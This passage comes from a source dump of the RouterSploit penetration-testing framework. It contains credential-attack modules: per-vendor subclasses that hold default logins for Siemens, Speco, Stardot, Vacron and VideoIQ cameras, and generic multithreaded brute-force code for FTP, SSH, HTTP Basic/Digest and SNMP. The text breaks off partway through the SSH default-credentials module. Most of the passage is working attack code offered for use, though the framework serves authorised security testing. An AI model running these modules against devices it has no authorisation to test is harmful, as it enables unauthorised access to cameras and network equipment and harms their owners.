    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Siemens Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Siemens Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Siemens Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/siemens/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Siemens Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Siemens Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Siemens Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/speco/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/speco/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Speco Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Speco Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Speco Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/speco/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Speco Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Speco Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Speco Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/speco/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Speco Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Speco Camera Telnet service. \"\n                       \"If valid credentials are found they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Speco Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:1234\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/stardot/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/stardot/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Stardot Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Stardot Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Stardot Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/stardot/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Stardot Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Stardot Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Stardot Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/stardot/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Stardot Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Stardot Camera Telnet service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Stardot Camera\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number oof threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/vacron/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/vacron/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"Vacron Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against Vacron Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Vacron Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/vacron/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"Vacron Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against Vacron Camera SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Vacron Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/vacron/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"Vacron Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against Vacron Camera Telneta service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Vacron Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"admin:admin\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/videoiq/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/cameras/videoiq/ftp_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ftp_default import Exploit as FTPDefault\n\n\nclass Exploit(FTPDefault):\n    __info__ = {\n        \"name\": \"VideoIQ Camera Default FTP Creds\",\n        \"description\": \"Module performs dictionary attack against VideoIQ Camera FTP service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"VideoIQ Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"supervisor:supervisor\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/videoiq/ssh_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.ssh_default import Exploit as SSHDefault\n\n\nclass Exploit(SSHDefault):\n    __info__ = {\n        \"name\": \"VideoIQ Camera Default SSH Creds\",\n        \"description\": \"Module performs dictionary attack against VideoIQ Camera SSH service.\"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"VideoIQ Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"supervisor:supervisor\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/cameras/videoiq/telnet_default_creds.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.modules.creds.generic.telnet_default import Exploit as TelnetDefault\n\n\nclass Exploit(TelnetDefault):\n    __info__ = {\n        \"name\": \"VideoIQ Camera Default Telnet Creds\",\n        \"description\": \"Module performs dictionary attack against VideoIQ Camera Telnet service. \"\n                       \"If valid credentials are found, they ar displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"VideoIQ Camera\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(23, \"Target Telnet port\")\n\n    threads = OptInteger(1, \"Number of threads\")\n    defaults = OptWordlist(\"supervisor:supervisor\", \"User:Pass or file with default credentials (file://)\")\n"
  },
  {
    "path": "routersploit/modules/creds/generic/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/creds/generic/ftp_bruteforce.py",
    "content": "import itertools\nfrom routersploit.core.exploit import *\nfrom routersploit.core.ftp.ftp_client import FTPClient\nfrom routersploit.resources import wordlists\n\n\nclass Exploit(FTPClient):\n    __info__ = {\n        \"name\": \"FTP Bruteforce\",\n        \"description\": \"Module performs bruteforce attack against FTP service.\"\n                       \"If valid credentials are found, the are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Multiple devices\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(8, \"Number of threads\")\n    usernames = OptWordlist(\"admin\", \"Username or file with usernames (file://)\")\n    passwords = OptWordlist(wordlists.passwords, \"Password or file with passwords (file://)\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting bruteforce attack against FTP service\")\n\n        data = LockedIterator(itertools.product(self.usernames, self.passwords))\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, data):\n        while running.is_set():\n            try:\n                username, password = data.next()\n            except StopIteration:\n                break\n            else:\n                ftp_client = self.ftp_create()\n                if ftp_client.connect(retries=3) is None:\n                    print_error(\"Too many connections problems. Quiting...\", verbose=self.verbosity)\n                    return\n\n                if ftp_client.login(username, password):\n                    if self.stop_on_success:\n                        running.clear()\n\n                    self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n\n                ftp_client.close()\n\n    def check(self):\n        ftp_client = self.ftp_create()\n        if ftp_client.test_connect():\n            print_status(\"Target exposes FTP service\", verbose=self.verbosity)\n            return True\n\n        print_status(\"Target does not expose FTP service\", verbose=self.verbosity)\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(itertools.product(self.usernames, self.passwords))\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/generic/ftp_default.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.ftp.ftp_client import FTPClient\nfrom routersploit.resources import wordlists\n\n\nclass Exploit(FTPClient):\n    __info__ = {\n        \"name\": \"FTP Default Creds\",\n        \"description\": \"Module performs dictionary attack with default credentials against FTP service.\"\n                       \"If valid credentials are found, the are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Multiple devices\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 or file with ip:port (file://)\")\n    port = OptPort(21, \"Target FTP port\")\n\n    threads = OptInteger(8, \"Number of threads\")\n    defaults = OptWordlist(wordlists.defaults, \"User:Pass pair or file with default credentials (file://)\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting attack against FTP service\")\n\n        data = LockedIterator(self.defaults)\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, data):\n        while running.is_set():\n            try:\n                username, password = data.next().split(\":\", 1)\n            except StopIteration:\n                break\n            else:\n                ftp_client = self.ftp_create()\n                if ftp_client.connect(retries=3) is None:\n                    print_error(\"Too many connections problems. Quiting...\", verbose=self.verbosity)\n                    return\n\n            if ftp_client.login(username, password):\n                if self.stop_on_success:\n                    running.clear()\n\n                self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n\n        ftp_client.close()\n\n    def check(self):\n        ftp_client = self.ftp_create()\n        if ftp_client.test_connect():\n            print_status(\"Target exposes FTP service\", verbose=self.verbosity)\n            return True\n\n        print_status(\"Target does not expose FTP service\", verbose=self.verbosity)\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(self.defaults)\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/generic/http_basic_digest_bruteforce.py",
    "content": "import itertools\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\nfrom routersploit.resources import wordlists\nfrom requests.auth import HTTPDigestAuth\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"HTTP Basic/Digest Bruteforce\",\n        \"description\": \"Module performs bruteforce attack against HTTP Basic/Digest Auth service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n            \"Alexander Yakovlev <https://github.com/toxydose>\",  # upgrading to perform bruteforce attack against HTTP Digest Auth service\n        ),\n        \"devices\": (\n            \"Multiple devices\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    threads = OptInteger(8, \"Number of threads\")\n\n    usernames = OptWordlist(\"admin\", \"Username or file with usernames (file://)\")\n    passwords = OptWordlist(wordlists.passwords, \"Password or file with passwords (file://)\")\n\n    path = OptString(\"/\", \"URL Path\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.auth_type = None\n\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting bruteforce attack against {}\".format(self.path))\n\n        data = LockedIterator(itertools.product(self.usernames, self.passwords))\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, data):\n        while running.is_set():\n            try:\n                username, password = data.next()\n\n                if self.auth_type == \"digest\":\n                    auth = HTTPDigestAuth(username, password)\n                else:\n                    auth = (username, password)\n\n                response = self.http_request(\n                    method=\"GET\",\n                    path=self.path,\n                    auth=auth,\n                )\n\n                if response is not None and response.status_code != 401:\n                    if self.stop_on_success:\n                        running.clear()\n\n                    print_success(\"Authentication Succeed - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n                    self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n                else:\n                    print_error(\"Authentication Failed - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n            except StopIteration:\n                break\n\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=self.path\n        )\n\n        if response is None:\n            return False\n\n        if response.status_code != 401 or \"WWW-Authenticate\" not in response.headers.keys():\n            print_error(\"Resource {} is not protected by Basic/Digest Auth\".format(self.path), verbose=self.verbosity)\n            return False\n\n        if \"Basic\" in response.headers[\"WWW-Authenticate\"]:\n            print_status(\"Target exposes resource {} protected by Basic Auth\".format(self.path), verbose=self.verbosity)\n            self.auth_type = \"basic\"\n            return True\n        elif \"Digest\" in response.headers[\"WWW-Authenticate\"]:\n            print_status(\"Target exposes resource {} protected by Digest Auth\".format(self.path), verbose=self.verbosity)\n            self.auth_type = \"digest\"\n            return True\n\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(itertools.product(self.usernames, self.passwords))\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/generic/http_basic_digest_default.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\nfrom routersploit.resources import wordlists\nfrom requests.auth import HTTPDigestAuth\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"HTTP Basic/Digest Default Creds\",\n        \"description\": \"Module performs dictionary attack with default credentials against HTTP Basic/Digest Auth service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n            \"Alexander Yakovlev <https://github.com/toxydose>\",  # upgrading to perform bruteforce attack against HTTP Digest Auth service\n        ),\n        \"devices\": (\n            \"Multiple devices\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    threads = OptInteger(8, \"Number of threads\")\n\n    defaults = OptWordlist(wordlists.defaults, \"User:Pass or file with default credentials (file://)\")\n\n    path = OptString(\"/\", \"URL Path\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.auth_type = None\n\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting default creds attack against {}\".format(self.path))\n\n        data = LockedIterator(self.defaults)\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, data):\n        while running.is_set():\n            try:\n                username, password = data.next().split(\":\", 1)\n\n                if self.auth_type == \"digest\":\n                    auth = HTTPDigestAuth(username, password)\n                else:\n                    auth = (username, password)\n\n                response = self.http_request(\n                    method=\"GET\",\n                    path=self.path,\n                    auth=auth,\n                )\n\n                if response is not None and response.status_code != 401:\n                    if self.stop_on_success:\n                        running.clear()\n\n                    print_success(\"Authentication Succeed - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n                    self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n\n                else:\n                    print_error(\"Authentication Failed - Username: '{}' Password: '{}'\".format(username, password), verbose=self.verbosity)\n\n            except StopIteration:\n                break\n\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=self.path\n        )\n\n        if response is None:\n            return False\n\n        if response.status_code != 401 or \"WWW-Authenticate\" not in response.headers.keys():\n            print_error(\"Resource {} is not protected by Basic/Digest Auth\".format(self.path), verbose=self.verbosity)\n            return False\n\n        if \"Basic\" in response.headers[\"WWW-Authenticate\"]:\n            print_status(\"Target exposes resource {} protected by Basic Auth\".format(self.path), verbose=self.verbosity)\n            self.auth_type = \"basic\"\n            return True\n        elif \"Digest\" in response.headers[\"WWW-Authenticate\"]:\n            print_status(\"Target exposes resource {} protected by Digest Auth\".format(self.path), verbose=self.verbosity)\n            self.auth_type = \"digest\"\n            return True\n\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(self.defaults)\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/generic/snmp_bruteforce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.snmp.snmp_client import SNMPClient\nfrom routersploit.resources import wordlists\n\n\nclass Exploit(SNMPClient):\n    __info__ = {\n        \"name\": \"SNMP Bruteforce\",\n        \"description\": \"Module performs bruteforce attack against SNMP service. \"\n                       \"If valid community string is found, it is displayed to the user\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Multiple devices\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(161, \"Target SNMP port\")\n\n    version = OptInteger(1, \"SNMP version 0:v1, 1:v2c\")\n    threads = OptInteger(8, \"Number of threads\")\n\n    defaults = OptWordlist(wordlists.snmp, \"SNMP community string or file with default communit stryings (file://)\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.strings = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        print_status(\"Starting bruteforce against SNMP service\")\n\n        data = LockedIterator(self.defaults)\n        self.run_threads(self.threads, self.target_function, data)\n\n        if len(self.strings):\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Community String\")\n            print_table(headers, *self.strings)\n        else:\n            print_error(\"Valid community strings not found\")\n\n    def target_function(self, running, data):\n        while running.is_set():\n            try:\n                community_string = data.next()\n\n                snmp_client = self.snmp_create()\n                if snmp_client.get(community_string, \"1.3.6.1.2.1.1.1.0\", version=self.version):\n                    if self.stop_on_success:\n                        running.clear()\n\n                    self.strings.append((self.target, self.port, self.target_protocol, community_string))\n\n            except StopIteration:\n                break\n\n    def check(self):\n        raise NotImplementedError(\"Check method is not available\")\n\n    @mute\n    def check_default(self):\n        self.strings = []\n\n        data = LockedIterator(self.defaults)\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.strings:\n            return self.strings\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/generic/ssh_bruteforce.py",
    "content": "import itertools\nfrom routersploit.core.exploit import *\nfrom routersploit.core.ssh.ssh_client import SSHClient\nfrom routersploit.resources import wordlists\n\n\nclass Exploit(SSHClient):\n    __info__ = {\n        \"name\": \"SSH Bruteforce\",\n        \"description\": \"Module performs bruteforce attack against SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Multiple devices\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(8, \"Number of threads\")\n\n    usernames = OptWordlist(\"admin\", \"Username or file with usernames (file://)\")\n    passwords = OptWordlist(wordlists.passwords, \"Password or file with passwords (file://)\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting bruteforce attack against SSH service\")\n\n        data = LockedIterator(itertools.product(self.usernames, self.passwords))\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            print_table(headers, *self.credentials)\n        else:\n            print_error(\"Credentials not found\")\n\n    def target_function(self, running, data):\n        while running.is_set():\n            try:\n                username, password = data.next()\n                ssh_client = self.ssh_create()\n                if ssh_client.login(username, password):\n                    if self.stop_on_success:\n                        running.clear()\n\n                    self.credentials.append((self.target, self.port, self.target_protocol, username, password))\n                    ssh_client.close()\n\n            except StopIteration:\n                break\n\n    def check(self):\n        ssh_client = self.ssh_create()\n        if ssh_client.test_connect():\n            print_status(\"Target exposes SSH service\", verbose=self.verbosity)\n            return True\n\n        print_status(\"Target does not expose SSH\", verbose=self.verbosity)\n        return False\n\n    @mute\n    def check_default(self):\n        if self.check():\n            self.credentials = []\n\n            data = LockedIterator(itertools.product(self.usernames, self.passwords))\n            self.run_threads(self.threads, self.target_function, data)\n\n            if self.credentials:\n                return self.credentials\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/creds/generic/ssh_default.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.ssh.ssh_client import SSHClient\nfrom routersploit.resources import wordlists\n\n\nclass Exploit(SSHClient):\n    __info__ = {\n        \"name\": \"SSH Default Creds\",\n        \"description\": \"Module performs bruteforce attack against SSH service. \"\n                       \"If valid credentials are found, they are displayed to the user.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"devices\": (\n            \"Multiple devices\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4, IPv6 address or file with ip:port (file://)\")\n    port = OptPort(22, \"Target SSH port\")\n\n    threads = OptInteger(8, \"Number of threads\")\n\n    defaults = OptWordlist(wordlists.defaults, \"User:Pass or file with default credentials (file://)\")\n\n    stop_on_success = OptBool(True, \"Stop on first valid authentication attempt\")\n    verbosity = OptBool(True, \"Display authentication attempts\")\n\n    def run(self):\n        self.credentials = []\n        self.attack()\n\n    @multi\n    def attack(self):\n        if not self.check():\n            return\n\n        print_status(\"Starting default credentials attack against SSH service\")\n\n        data = LockedIterator(self.defaults)\n        self.run_threads(self.threads, self.target_function, data)\n\n        if self.credentials:\n            print_success(\"Credentials found!\")\n            headers = (\"Target\", \"Port\", \"Service\", \"Username\", \"Password\")\n            